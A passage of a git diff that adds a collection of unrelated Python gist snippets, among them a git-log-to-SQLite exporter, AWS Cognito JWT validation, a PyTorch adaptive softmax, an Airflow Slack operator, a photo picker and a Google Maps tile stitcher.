+            author = re.match(r"(.+)\s+<([^>]+)>", match.group(2))
+            commit = {
+                "hash": match.group(1),
+                "date": match.group(3),
+                "message": match.group(4)
+            }
+            if author:
+                commit["author"] = author.group(1)
+                commit["email"] = author.group(2)
+            else:
+                commit["author"] = match.group(2)
+                commit["email"] = None
+            commits.append(commit)
+    return commits
+
+
+
+if __name__ == '__main__':
+    path = os.getcwd()
+    commits = log(path)
+    if not path.endswith("/"):
+        path = path + "/"
+    fname = "%sgit.sqlite" % (path)
+    if os.path.isfile(fname):
+        os.remove(fname)
+    con = sqlite3.connect(fname)
+    con.execute("CREATE TABLE commits (hash VARCHAR(40), author VARCHAR(256), email VARCHAR(256), " +
+                "message text, date VARCHAR(35))")
+    cur = con.cursor()
+    def commit(c):
+        return (c["hash"], c["author"], c["email"], c["message"], c["date"])
+    cur.executemany("INSERT INTO commits VALUES(?, ?, ?, ?, ?)", map(commit, commits))
+    con.commit()
+    con.close()
diff --git a/hard-gists/0ca2272c015266e667924836364349c3/._snippet.py b/hard-gists/0ca2272c015266e667924836364349c3/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0ca2272c015266e667924836364349c3/._snippet.py differ
diff --git a/hard-gists/0ca2272c015266e667924836364349c3/snippet.py b/hard-gists/0ca2272c015266e667924836364349c3/snippet.py
new file mode 100644
index 00000000..f1b010bd
--- /dev/null
+++ b/hard-gists/0ca2272c015266e667924836364349c3/snippet.py
@@ -0,0 +1,254 @@
+#!/usr/bin/env python3
+""" Handles validation of a JWT web-token passed by the client
+"""
+import os
+import sys
+import argparse
+
+import requests
+
+import simplejson as json
+
+from jose import jwt, JWTError
+
+
+def pool_url(aws_region, aws_user_pool):
+    """ Create an Amazon cognito issuer URL from a region and pool id
+
+    Args:
+        aws_region (string): The region the pool was created in.
+        aws_user_pool (string): The Amazon region ID.
+
+    Returns:
+        string: a URL
+    """
+    return (
+        "https://cognito-idp.{}.amazonaws.com/{}".
+        format(aws_region, aws_user_pool)
+    )
+# def pool_url
+
+
+def get_client_id_from_access_token(aws_region, aws_user_pool, token):
+    """ Pulls the client ID out of an Access Token
+    """
+    claims = get_claims(aws_region, aws_user_pool, token)
+    if claims.get('token_use') != 'access':
+        raise ValueError('Not an access token')
+
+    return claims.get('client_id')
+
+# def get_client_id
+
+
+def get_client_id_from_id_token(token):
+    """ Pulls the audience (client id) out of an id_token
+    """
+    # header, payload, _ = get_token_segments(token)
+    payload = jwt.get_unverified_claims(token)
+    return payload.get('aud')
+
+# def get_client_id
+
+
+def get_user_email(aws_region, aws_user_pool, client_id, id_token):
+    """ Pulls the user email out of an id token
+    """
+    if client_id is None:
+        client_id = os.environ.get('AWS_CLIENT_ID')
+
+    if client_id is None:
+        client_id = get_client_id_from_id_token(id_token)
+
+    claims = get_claims(aws_region, aws_user_pool, id_token, client_id)
+    if claims.get('token_use') != 'id':
+        raise ValueError('Not an ID Token')
+
+    return claims.get('email')
+
+# def get_user_email
+
+
+def get_claims(aws_region, aws_user_pool, token, audience=None):
+    """ Given a token (and optionally an audience), validate and
+    return the claims for the token
+    """
+    # header, _, _ = get_token_segments(token)
+    header = jwt.get_unverified_header(token)
+    kid = header['kid']
+
+    verify_url = pool_url(aws_region, aws_user_pool)
+
+    keys = aws_key_dict(aws_region, aws_user_pool)
+
+    key = keys.get(kid)
+
+    kargs = {"issuer": verify_url}
+    if audience is not None:
+        kargs["audience"] = audience
+
+    claims = jwt.decode(
+        token,
+        key,
+        **kargs
+    )
+
+    return claims
+
+# def get_claims
+
+
+def aws_key_dict(aws_region, aws_user_pool):
+    """ Fetches the AWS JWT validation file (if necessary) and then converts
+    this file into a keyed dictionary that can be used to validate a web-token
+    we've been passed
+
+    Args:
+        aws_user_pool (string): the ID for the user pool
+
+    Returns:
+        dict: a dictonary of values
+    """
+    filename = os.path.abspath(
+        os.path.join(
+            os.path.dirname(sys.argv[0]), 'aws_{}.json'.format(aws_user_pool)
+        )
+    )
+
+    if not os.path.isfile(filename):
+        # If we can't find the file already, try to download it.
+        aws_data = requests.get(
+            pool_url(aws_region, aws_user_pool) + '/.well-known/jwks.json'
+        )
+        aws_jwt = json.loads(aws_data.text)
+        with open(filename, 'w+') as json_data:
+            json_data.write(aws_data.text)
+            json_data.close()
+
+    else:
+        with open(filename) as json_data:
+            aws_jwt = json.load(json_data)
+            json_data.close()
+
+    # We want a dictionary keyed by the kid, not a list.
+    result = {}
+    for item in aws_jwt['keys']:
+        result[item['kid']] = item
+
+    return result
+# def aws_key_dict
+
+
+def env_with_error(val, message, default=None):
+    """ Tries to fetch a value from the environment and throws an arror if it's
+    missing.  Used so that we can return a better error message
+
+    Args:
+        val (string); The value to fetch from the environment
+        message (string): The message to raise
+        default (string): An optional default value.
+    Returns:
+        string: The value from the environment
+    """
+    result = os.environ.get(val)
+    if result is None:
+        result = default
+
+    if result is None:
+        raise KeyError(message)
+    return result
+# def get_with_error
+
+
+def run_test():
+    """ Validates an identity token passed in as an argument.
+    We can get the client_id from one of three places.  If we're
+    passed an access token, we can get the client_id from that.
+    If we're passed a client_id, we'll use it.  If we're given
+    neither an access token nor a client_id as an argument, we'll
+    look for something in the environemnt.  If that isn't set,
+    we'll use the client ID passed as the audience in the identity
+    token itself.
+    """
+
+    # pylint: disable=missing-docstring,too-few-public-methods
+    class Bcolors:
+        HEADER = '\033[95m'
+        OKBLUE = '\033[94m'
+        OKGREEN = '\033[92m'
+        WARNING = '\033[93m'
+        FAIL = '\033[91m'
+        ENDC = '\033[0m'
+        BOLD = '\033[1m'
+        UNDERLINE = '\033[4m'
+
+    parser = argparse.ArgumentParser(
+        description='Validates an AWS id token and prints the email address.')
+
+    parser.add_argument(
+        '-c', '--client_id',
+        help='The application id to which the id_token applies',
+        metavar='<client_id>',
+        dest='client_id'
+    )
+
+    parser.add_argument(
+        '-a', '--access_token',
+        help='An access token returned from the authentication authority' +
+        ' used to retrieve an client_id',
+        metavar='<access_token>',
+
+    )
+
+    parser.add_argument(
+        '-r', '--aws_region',
+        help='The AWS Region that the pool is defined for. (ie. us-west-2)',
+        metavar='<aws_region>',
+        dest='aws_region'
+    )
+
+    parser.add_argument(
+        '-p', '--aws_pool',
+        help='The AWS Pool ID that token comes from.',
+        metavar='<aws_pool_id>',
+        dest='aws_pool'
+    )
+
+    parser.add_argument(
+        'id_token',
+        nargs=1,
+        help='The ID token to be validated and have the email address printed',
+        metavar='<id_token>'
+    )
+
+    args = parser.parse_args()
+
+    aws_region = env_with_error(
+        "AWS_REGION", 'Missing AWS_REGION environment variable',
+        args.aws_region
+    )
+
+    aws_pool = env_with_error(
+        "AWS_USER_POOL", 'Missing AWS_USER_POOL environment variable',
+        args.aws_pool
+    )
+
+    client_id = None
+    if args.client_id is not None:
+        client_id = args.client_id
+    elif args.access_token is not None:
+        client_id = get_client_id_from_access_token(
+            aws_region, aws_pool, args.access_token)
+    try:
+        print(
+            Bcolors.OKGREEN + Bcolors.BOLD + "SUCCESS: " + Bcolors.ENDC +
+            get_user_email(aws_region, aws_pool, client_id, args.id_token[0]))
+    except JWTError as error:
+        print(
+            Bcolors.BOLD + Bcolors.FAIL + "FAILED: " + Bcolors.ENDC +
+            str(error))
+
+# def run_test
+
+if __name__ == '__main__':
+    run_test()
diff --git a/hard-gists/0cdd8d6adb8463961f50bd1845faddf8/._snippet.py b/hard-gists/0cdd8d6adb8463961f50bd1845faddf8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0cdd8d6adb8463961f50bd1845faddf8/._snippet.py differ
diff --git a/hard-gists/0cdd8d6adb8463961f50bd1845faddf8/snippet.py b/hard-gists/0cdd8d6adb8463961f50bd1845faddf8/snippet.py
new file mode 100644
index 00000000..e444122a
--- /dev/null
+++ b/hard-gists/0cdd8d6adb8463961f50bd1845faddf8/snippet.py
@@ -0,0 +1,115 @@
+import torch
+from torch import nn
+from torch.autograd import Variable
+
+class AdaptiveSoftmax(nn.Module):
+    def __init__(self, input_size, cutoff):
+        super().__init__()
+        
+        self.input_size = input_size
+        self.cutoff = cutoff
+        self.output_size = cutoff[0] + len(cutoff) - 1
+        
+        self.head = nn.Linear(input_size, self.output_size)
+        self.tail = nn.ModuleList()
+        
+        for i in range(len(cutoff) - 1):
+            seq = nn.Sequential(
+                nn.Linear(input_size, input_size // 4 ** i, False),
+                nn.Linear(input_size // 4 ** i, cutoff[i + 1] - cutoff[i], False)
+            )
+
+            self.tail.append(seq)
+            
+    def reset(self, init=0.1):
+        self.head.weight.data.uniform_(-init, init)
+        
+        for tail in self.tail:
+            tail[0].weight.data.uniform_(-init, init)
+            tail[1].weight.data.uniform_(-init, init)
+           
+    def set_target(self, target):
+        self.id = []
+        
+        for i in range(len(self.cutoff) - 1):
+            mask = target.ge(self.cutoff[i]).mul(target.lt(self.cutoff[i + 1]))
+            
+            if mask.sum() > 0:
+                self.id.append(Variable(mask.float().nonzero().squeeze(1)))
+                
+            else:
+                self.id.append(None)
+                
+    def forward(self, input):
+        output = [self.head(input)]
+        
+        for i in range(len(self.id)):
+            if self.id[i] is not None:
+                output.append(self.tail[i](input.index_select(0, self.id[i])))
+
+            else:
+                output.append(None)
+                
+        return output
+
+    def log_prob(self, input):
+        lsm = nn.LogSoftmax().cuda()
+        
+        head_out = self.head(input)
+        
+        batch_size = head_out.size(0)
+        prob = torch.zeros(batch_size, self.cutoff[-1]).cuda()
+        
+        lsm_head = lsm(head_out)
+        prob.narrow(1, 0, self.output_size).add_(lsm_head.narrow(1, 0, self.output_size).data)
+        
+        for i in range(len(self.tail)):
+            pos = self.cutoff[i]
+            i_size = self.cutoff[i + 1] - pos
+            buffer = lsm_head.narrow(1, self.cutoff[0] + i, 1)
+            buffer = buffer.expand(batch_size, i_size)
+            lsm_tail = lsm(self.tail[i](input))
+            prob.narrow(1, pos, i_size).copy_(buffer.data).add_(lsm_tail.data)
+            
+        return prob
+
+class AdaptiveLoss(nn.Module):
+    def __init__(self, cutoff):
+        super().__init__()
+        
+        self.cutoff = cutoff
+        self.criterions = nn.ModuleList()
+        
+        for i in self.cutoff:
+            self.criterions.append(nn.CrossEntropyLoss(size_average=False))
+            
+    def remap_target(self, target):
+        new_target = [target.clone()]
+        
+        for i in range(len(self.cutoff) - 1):
+            mask = target.ge(self.cutoff[i]).mul(target.lt(self.cutoff[i + 1]))
+            new_target[0][mask] = self.cutoff[0] + i
+            
+            if mask.sum() > 0:
+                new_target.append(target[mask].add(-self.cutoff[i]))
+                
+            else:
+                new_target.append(None)
+                
+        return new_target
+    
+    def forward(self, input, target):
+        batch_size = input[0].size(0)
+        target = self.remap_target(target.data)
+        
+        output = 0.0
+    
+        for i in range(len(input)):
+            if input[i] is not None:
+                assert(target[i].min() >= 0 and target[i].max() <= input[i].size(1))
+                criterion = self.criterions[i]
+                output += criterion(input[i], Variable(target[i]))
+                
+        output /= batch_size
+        
+        return output
\ No newline at end of file
diff --git a/hard-gists/0cfe89a89b892e47e8418e281dfe318d/._snippet.py b/hard-gists/0cfe89a89b892e47e8418e281dfe318d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0cfe89a89b892e47e8418e281dfe318d/._snippet.py differ
diff --git a/hard-gists/0cfe89a89b892e47e8418e281dfe318d/snippet.py b/hard-gists/0cfe89a89b892e47e8418e281dfe318d/snippet.py
new file mode 100644
index 00000000..1fac2d34
--- /dev/null
+++ b/hard-gists/0cfe89a89b892e47e8418e281dfe318d/snippet.py
@@ -0,0 +1,24 @@
+# utils.py
+import json
+from django.contrib.postgres.forms.jsonb import InvalidJSONInput, JSONField
+
+
+class ReadableJSONFormField(JSONField):
+    def prepare_value(self, value):
+        if isinstance(value, InvalidJSONInput):
+            return value
+        return json.dumps(value, ensure_ascii=False, indent=4)
+
+
+      
+# admin.py
+from django.contrib import admin
+from django.contrib.postgres.fields import JSONField
+from .utils import ReadableJSONFormField
+
+
+@admin.register(Example)
+class ExampleAdmin(admin.ModelAdmin):
+    formfield_overrides = {
+        JSONField: {'form_class': ReadableJSONFormField},
+    }
diff --git a/hard-gists/0d1baad4e3a871587ab1/._snippet.py b/hard-gists/0d1baad4e3a871587ab1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0d1baad4e3a871587ab1/._snippet.py differ
diff --git a/hard-gists/0d1baad4e3a871587ab1/snippet.py b/hard-gists/0d1baad4e3a871587ab1/snippet.py
new file mode 100644
index 00000000..c82e3a10
--- /dev/null
+++ b/hard-gists/0d1baad4e3a871587ab1/snippet.py
@@ -0,0 +1,60 @@
+#! Python 3.4
+"""
+Open a file dialog window in tkinter using the filedialog method.
+
+Tkinter has a prebuilt dialog window to access files. 
+
+This example is designed to show how you might use a file dialog askopenfilename
+and use it in a program.
+"""
+
+from tkinter import *
+from tkinter import ttk
+from tkinter.filedialog import askopenfilename
+
+root = Tk(  )
+
+#This is where we lauch the file manager bar.
+def OpenFile():
+    name = askopenfilename(initialdir="C:/Users/Batman/Documents/Programming/tkinter/",
+                           filetypes =(("Text File", "*.txt"),("All Files","*.*")),
+                           title = "Choose a file."
+                           )
+    print (name)
+    #Using try in case user types in unknown file or closes without choosing a file.
+    try:
+        with open(name,'r') as UseFile:
+            print(UseFile.read())
+    except:
+        print("No file exists")
+
+
+Title = root.title( "File Opener")
+label = ttk.Label(root, text ="I'm BATMAN!!!",foreground="red",font=("Helvetica", 16))
+label.pack()
+
+#Menu Bar
+
+menu = Menu(root)
+root.config(menu=menu)
+
+file = Menu(menu)
+
+file.add_command(label = 'Open', command = OpenFile)
+file.add_command(label = 'Exit', command = lambda:exit())
+
+menu.add_cascade(label = 'File', menu = file)
+
+
+
+
+
+root.mainloop()
+
+'''
+RESULTS:
+>>> 
+C:/Users/Scott/Documents/Programming/json/test.txt
+"I like to move it, groove it!"
+'''
+
diff --git a/hard-gists/0d25683d9c8fce27edd3/._snippet.py b/hard-gists/0d25683d9c8fce27edd3/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0d25683d9c8fce27edd3/._snippet.py differ
diff --git a/hard-gists/0d25683d9c8fce27edd3/snippet.py b/hard-gists/0d25683d9c8fce27edd3/snippet.py
new file mode 100644
index 00000000..366b7363
--- /dev/null
+++ b/hard-gists/0d25683d9c8fce27edd3/snippet.py
@@ -0,0 +1,53 @@
+# airflow/plugins/slack.py
+
+import logging
+
+from airflow.operators.python_operator import PythonOperator
+from airflow.plugins_manager import AirflowPlugin
+from slackclient import SlackClient
+from titan.utils import config
+
+
+class PythonSlackOperator(PythonOperator):
+    def __init__(self, *args, **kwargs):
+        super(PythonSlackOperator, self).__init__(*args, **kwargs)
+
+    def _post_slack_message(self, text):
+        try:
+            sc = SlackClient(config.get('slack', 'token'))
+            sc.api_call('chat.postMessage',
+                        channel=config.get('slack', 'default_channel'),
+                        username='Airflow',
+                        icon_url='https://raw.githubusercontent.com/airbnb/airflow/master/airflow/www/static/pin_100.png',
+                        text=text)
+        except:
+            logging.exception('Non-fatal error: could not post message to Slack (text: {text})'.format(**locals()))
+
+    def execute(self, context, *args, **kwargs):
+        task_instance = context.get('task_instance')
+        dag_run = context.get('dag_run')
+        dag = context.get('dag')
+
+        if dag_run is None:
+            dag_run_id = 'N/A'
+            dag_run_external_trigger = 'N/A'
+        else:
+            dag_run_id = dag_run.run_id
+            dag_run_external_trigger = ':zap:' if dag_run.external_trigger else ':clock3:'
+
+        base_url = config.get('airflow', 'base_url')
+        log_url = '{base_url}{task_instance.log_url}'.format(**locals())
+
+        self._post_slack_message(':chicken:{dag_run_external_trigger} Starting task (dag=*{task_instance.dag_id}* task=*{task_instance.task_id}* dagid=*{dag_run_id}*) <{log_url}|logs>'.format(**locals()))
+        result = super(PythonSlackOperator, self).execute(context, *args, **kwargs)
+        self._post_slack_message(':poultry_leg:{dag_run_external_trigger} Finished task (dag=*{task_instance.dag_id}* task=*{task_instance.task_id}* dagid=*{dag_run_id}*) <{log_url}|logs>'.format(**locals()))
+
+
+class PythonSlackAPlugin(AirflowPlugin):
+    name = 'dp_python_slack'
+    operators = [PythonSlackOperator]
+    flask_blueprints = []
+    hooks = []
+    executors = []
+    admin_views = []
+    menu_links = []
diff --git a/hard-gists/0d5a709bbb4186d1f45f2af14c65b110/._snippet.py b/hard-gists/0d5a709bbb4186d1f45f2af14c65b110/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0d5a709bbb4186d1f45f2af14c65b110/._snippet.py differ
diff --git a/hard-gists/0d5a709bbb4186d1f45f2af14c65b110/snippet.py b/hard-gists/0d5a709bbb4186d1f45f2af14c65b110/snippet.py
new file mode 100644
index 00000000..ba41e75a
--- /dev/null
+++ b/hard-gists/0d5a709bbb4186d1f45f2af14c65b110/snippet.py
@@ -0,0 +1,158 @@
+# Experimental photo picker using the Photos framework via objc_util. Compared to the photos module, this has the advantage of showing all photos, including iCloud photo library. Not very well tested!
+
+from objc_util import *
+import threading
+from io import BytesIO
+from PIL import Image
+import sys
+import ui 
+import ctypes
+
+NSBundle.bundleWithPath_('/System/Library/Frameworks/Photos.framework').load()
+PHAsset = ObjCClass('PHAsset')
+PHImageManager = ObjCClass('PHImageManager')
+PHImageRequestOptions = ObjCClass('PHImageRequestOptions')
+mgr = PHImageManager.defaultManager()
+
+def nsdata2str(data):
+	return ctypes.string_at(data.bytes(), data.length())
+
+class Asset (object):
+	def __init__(self, asset_obj):
+		self._asset = asset_obj
+	
+	def __repr__(self):
+		return repr(self._asset)
+	
+	def fetch_data(self):
+		'''Return a tuple of (UTI, data) for the asset. Both are strings, the UTI indicates the file type (e.g. 'public.jpeg').'''
+		e = threading.Event()
+		result = {}
+		def handler(_cmd, _data, _uti, orientation, _info):
+			if _data:
+				result['data'] = nsdata2str(ObjCInstance(_data))
+				result['uti'] = str(ObjCInstance(_uti))
+				result['orientation'] = orientation
+				result['info'] = ObjCInstance(_info)
+			e.set()
+		handler_block = ObjCBlock(handler, restype=None, argtypes=[c_void_p, c_void_p, c_void_p, NSInteger, c_void_p])
+		options = PHImageRequestOptions.new().autorelease()
+		options.networkAccessAllowed = True
+		options.synchronous = True
+		mgr.requestImageDataForAsset_options_resultHandler_(self._asset, options, handler_block)
+		e.wait()
+		return result
+	
+	def fetch_ui_thumbnail(self):
+		a = self._asset
+		options = PHImageRequestOptions.new().autorelease()
+		options.networkAccessAllowed = True
+		options.synchronous = True
+		target_size = CGSize(80, 80)
+		result = {}
+		e = threading.Event()
+		def handler(_cmd, _result, _info):
+			result['image'] = ObjCInstance(_result)
+			e.set()
+		handler_block = ObjCBlock(handler, restype=None, argtypes=[c_void_p, c_void_p, c_void_p])
+		mgr.requestImageForAsset_targetSize_contentMode_options_resultHandler_( a, target_size, 0, options, handler_block)
+		e.wait()
+		return result['image']
+	
+	def fetch_image(self):
+		'''Return the asset as a decoded PIL Image object.'''
+		info = self.fetch_data()
+		img_data = info['data']
+		orientation = info['orientation']
+		b = BytesIO(img_data)
+		img = Image.open(b)
+		# NOTE: Mirrored orientations are not supported here.
+		orientations = {1: 180, 2: 90, 3: -90}
+		rotation = orientations.get(orientation, 0)
+		if rotation != 0:
+			img = img.rotate(rotation)
+		return img
+	
+UICollectionView = ObjCClass('UICollectionView')
+UICollectionViewFlowLayout = ObjCClass('UICollectionViewFlowLayout')
+UICollectionViewCell = ObjCClass('UICollectionViewCell')
+UIImageView = ObjCClass('UIImageView')
+UIColor = ObjCClass('UIColor')
+
+def collectionView_numberOfItemsInSection_(_self, _cmd, _cv, _sec):
+	ds = ObjCInstance(_self)
+	return len(ds.assets)
+collectionView_numberOfItemsInSection_.encoding = 'q32@0:8@16q24'
+
+def collectionView_cellForItemAtIndexPath_(_self, _cmd, _cv, _ip):
+	ds = ObjCInstance(_self)
+	ip = ObjCInstance(_ip)
+	cv = ObjCInstance(_cv)
+	asset = ds.assets[ip.item()]
+	thumb = asset.fetch_ui_thumbnail()
+	cell = cv.dequeueReusableCellWithReuseIdentifier_forIndexPath_('Cell', ip)
+	iv = cell.viewWithTag_(123)
+	if not iv:
+		iv_frame = cell.bounds()
+		iv = UIImageView.alloc().initWithFrame_(iv_frame).autorelease()
+		iv.setTag_(123)
+		iv.setContentMode_(2)
+		iv.setClipsToBounds_(True)
+		iv.setAutoresizingMask_(18)
+		cell.addSubview_(iv)
+	iv.setImage_(thumb)
+	return cell.ptr
+collectionView_cellForItemAtIndexPath_.encoding = '@32@0:8@16@24'
+
+def collectionView_didSelectItemAtIndexPath_(_self, _cmd, _cv, _ip):
+	ds = ObjCInstance(_self)
+	ds.selected_asset_index = ObjCInstance(_ip).item()
+	ds.asset_collection_view.close()
+collectionView_didSelectItemAtIndexPath_.encoding = 'v32@0:8@16@24'
+
+methods = [collectionView_numberOfItemsInSection_, collectionView_cellForItemAtIndexPath_, collectionView_didSelectItemAtIndexPath_]
+DataSource = create_objc_class('DataSource', methods=methods, protocols=['UICollectionViewDelegateFlowLayout', 'UICollectionViewDataSource', 'UICollectionViewDelegate'])
+
+class AssetCollectionView (ui.View):
+	def __init__(self, *args, **kwargs):
+		ui.View.__init__(self, *args, **kwargs)
+		layout = UICollectionViewFlowLayout.alloc().init().autorelease()
+		layout.itemSize = CGSize(80, 80)
+		layout.sectionInset = UIEdgeInsets(8, 8, 8, 8)
+		frame = ((0, 0), (self.bounds.width, self.bounds.height))
+		cv = UICollectionView.alloc().initWithFrame_collectionViewLayout_(frame, layout)
+		cv.backgroundColor = UIColor.whiteColor()
+		cv.registerClass_forCellWithReuseIdentifier_(UICollectionViewCell, 'Cell')
+		ds = DataSource.alloc().init().autorelease()
+		res = PHAsset.fetchAssetsWithMediaType_options_(1, None)
+		ds.assets = [Asset(res.objectAtIndex_(i)) for i in xrange(res.count())]
+		ds.asset_collection_view = self
+		self.data_source = ds
+		cv.dataSource = ds
+		cv.delegate = ds
+		cv.setAlwaysBounceVertical_(True)
+		cv.setAutoresizingMask_(18)
+		ObjCInstance(self._objc_ptr).addSubview_(cv)
+
+def pick_asset():
+	av = AssetCollectionView(frame=(0, 0, 540, 576))
+	av.name = 'All Photos'
+	av.present('sheet')
+	av.wait_modal()
+	if hasattr(av.data_source, 'selected_asset_index'):
+		asset = av.data_source.assets[av.data_source.selected_asset_index]
+		return asset
+	else:
+		return None
+	
+# Demo:
+def main():
+	asset = pick_asset()
+	if asset:
+		img = asset.fetch_image()
+		img.show()
+	else:
+		print 'No image picked'
+
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/hard-gists/0d5b3e7cc89cb2180c6e/._snippet.py b/hard-gists/0d5b3e7cc89cb2180c6e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0d5b3e7cc89cb2180c6e/._snippet.py differ
diff --git a/hard-gists/0d5b3e7cc89cb2180c6e/snippet.py b/hard-gists/0d5b3e7cc89cb2180c6e/snippet.py
new file mode 100644
index 00000000..1aff2540
--- /dev/null
+++ b/hard-gists/0d5b3e7cc89cb2180c6e/snippet.py
@@ -0,0 +1,82 @@
+import urllib, StringIO
+from math import log, exp, tan, atan, pi, ceil
+from PIL import Image
+
+EARTH_RADIUS = 6378137
+EQUATOR_CIRCUMFERENCE = 2 * pi * EARTH_RADIUS
+INITIAL_RESOLUTION = EQUATOR_CIRCUMFERENCE / 256.0
+ORIGIN_SHIFT = EQUATOR_CIRCUMFERENCE / 2.0
+
+def latlontopixels(lat, lon, zoom):
+    mx = (lon * ORIGIN_SHIFT) / 180.0
+    my = log(tan((90 + lat) * pi/360.0))/(pi/180.0)
+    my = (my * ORIGIN_SHIFT) /180.0
+    res = INITIAL_RESOLUTION / (2**zoom)
+    px = (mx + ORIGIN_SHIFT) / res
+    py = (my + ORIGIN_SHIFT) / res
+    return px, py
+
+def pixelstolatlon(px, py, zoom):
+    res = INITIAL_RESOLUTION / (2**zoom)
+    mx = px * res - ORIGIN_SHIFT
+    my = py * res - ORIGIN_SHIFT
+    lat = (my / ORIGIN_SHIFT) * 180.0
+    lat = 180 / pi * (2*atan(exp(lat*pi/180.0)) - pi/2.0)
+    lon = (mx / ORIGIN_SHIFT) * 180.0
+    return lat, lon
+
+############################################
+
+# a neighbourhood in Lajeado, Brazil:
+
+upperleft =  '-29.44,-52.0'
+lowerright = '-29.45,-51.98'
+
+zoom = 18   # be careful not to get too many images!
+
+############################################
+
+ullat, ullon = map(float, upperleft.split(','))
+lrlat, lrlon = map(float, lowerright.split(','))
+
+# Set some important parameters
+scale = 1
+maxsize = 640
+
+# convert all these coordinates to pixels
+ulx, uly = latlontopixels(ullat, ullon, zoom)
+lrx, lry = latlontopixels(lrlat, lrlon, zoom)
+
+# calculate total pixel dimensions of final image
+dx, dy = lrx - ulx, uly - lry
+
+# calculate rows and columns
+cols, rows = int(ceil(dx/maxsize)), int(ceil(dy/maxsize))
+
+# calculate pixel dimensions of each small image
+bottom = 120
+largura = int(ceil(dx/cols))
+altura = int(ceil(dy/rows))
+alturaplus = altura + bottom
+
+
+final = Image.new("RGB", (int(dx), int(dy)))
+for x in range(cols):
+    for y in range(rows):
+        dxn = largura * (0.5 + x)
+        dyn = altura * (0.5 + y)
+        latn, lonn = pixelstolatlon(ulx + dxn, uly - dyn - bottom/2, zoom)
+        position = ','.join((str(latn), str(lonn)))
+        print(x, y, position)
+        urlparams = urllib.urlencode({'center': position,
+                                      'zoom': str(zoom),
+                                      'size': '%dx%d' % (largura, alturaplus),
+                                      'maptype': 'satellite',
+                                      'sensor': 'false',
+                                      'scale': scale})
+        url = 'http://maps.google.com/maps/api/staticmap?' + urlparams
+        f=urllib.urlopen(url)
+        im=Image.open(StringIO.StringIO(f.read()))
+        final.paste(im, (int(x*largura), int(y*altura)))
+final.show()
+
diff --git a/hard-gists/0d9745f39a034758e51e/._snippet.py b/hard-gists/0d9745f39a034758e51e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0d9745f39a034758e51e/._snippet.py differ
diff --git a/hard-gists/0d9745f39a034758e51e/snippet.py b/hard-gists/0d9745f39a034758e51e/snippet.py
new file mode 100644
index 00000000..4c0892e5
--- /dev/null
+++ b/hard-gists/0d9745f39a034758e51e/snippet.py
@@ -0,0 +1,196 @@
+__author__ = 'Stuart Gordon Reid'
+
+import os as os
+import csv as csv
+import numpy as np
+import scipy as spy
+import sklearn as kit
+import pandas as pandas
+import statsmodels.api as sm
+import matplotlib.pyplot as plot
+from Quandl import get
+from statsmodels.sandbox.regression.predstd import wls_prediction_std
+
+
+class StatsModelsSettings():
+    """
+    This class contains settings for the statsmodels package, settings include,
+    * exponent:int - when equal to one this is a straight line, when >1 this is a curve
+    * confidence:boolean - specifies whether confidence lines should be calculated and plotted
+    """
+    exponent = 1
+    confidence = False
+
+    def __init__(self, exponent=1, confidence=False):
+        """
+        This initialization method constructs a new StatsModelSettings object
+        """
+        self.exponent = exponent
+        self.confidence = confidence
+        pass
+
+
+class QuandlSettings():
+    """
+    This class contains settings for the quandl integration package, settings include,
+    * rows:int - specifies the amount of historical data to extract in [frequency]
+    * column:int - specifies the column in the data-set to use for the regression analysis
+    * frequency:String - select between ("daily"|weekly"|"monthly"|"quarterly"|"annual")
+    * transformation:String - select the numerical transformation ("diff"|"rdiff"|"normalize"|"cumul")
+    * order:String - select order of data between ("asc"|"desc")
+    """
+    rows = 0
+    column = 1
+    frequency = "weekly"
+    transformation = "normalize"
+    order = "desc"
+
+    def __init__(self, rows, column, frequency="weekly", transformation="normalize", order="desc"):
+        """
+        This initialization method constructs a new QuandlSettings object
+        """
+        self.rows = rows
+        self.column = column
+        self.frequency = frequency
+        self.transformation = transformation
+        self.order = order
+        pass
+
+
+class RegressionAnalysis():
+    """
+    This class contain the logic for calculating the regression analysis given a Quandl data-set name, a QuandlSettings
+    object, and a StatsModelsSettings object. The resulting regression analysis is returned.
+    """
+    color = 'r'
+    dates = []
+    prices = []
+    data_set = ""
+    regression = None
+    upper = None
+    lower = None
+
+    def __init__(self, quandl_data_set_name, quandl_settings, statsmodels_settings, color='r'):
+        """
+        This initialization method constructs a new RegressionAnalysis object
+        """
+        self.color = color
+        self.data_set = quandl_data_set_name
+        self.dates, self.prices = self.get_quandl_data(self.data_set, quandl_settings)
+
+        # Only calculate and return confidence lines if setting = True
+        if statsmodels_settings.confidence:
+            self.regression, self.lower, self.upper = self.run_ordinary_least_squares(self.dates, self.prices,
+                                                                                      statsmodels_settings)
+        else:
+            self.regression = self.run_ordinary_least_squares(self.dates, self.prices, statsmodels_settings)
+        pass
+
+    @staticmethod
+    def get_quandl_data(quandl_data_set_name, quandl_settings):
+        """
+        This method retrieves the quandl data set given the settings specified in the quandl_settings object. For more
+        information about these settings see documentation from the QuandlSettings class
+        """
+        quandl_data_set = get(quandl_data_set_name, rows=quandl_settings.rows, returns="numpy",
+                              transformation=quandl_settings.transformation,
+                              sort_order=quandl_settings.order, collapse=quandl_settings.frequency)
+        print(quandl_data_set)
+        quandl_dates = np.arange(1, quandl_settings.rows + 1, 1)
+        quandl_prices = []
+
+        # TODO: find a better way to extract some column, X, from numpy matrix of tuples (w, x, y, z)
+        for i in range(quandl_data_set.size):
+            quandl_prices.append(quandl_data_set[quandl_settings.rows - (i + 1)][quandl_settings.column] / 100)
+        return quandl_dates, quandl_prices
+
+    @staticmethod
+    def run_ordinary_least_squares(ols_dates, ols_data, statsmodels_settings):
+        """
+        This method receives the dates and prices of a Quandl data-set as well as settings for the StatsModels package,
+        it then calculates the regression lines and / or the confidence lines are returns the objects
+        """
+        intercept = np.column_stack((ols_dates, ols_dates ** statsmodels_settings.exponent))
+        constant = sm.add_constant(intercept)
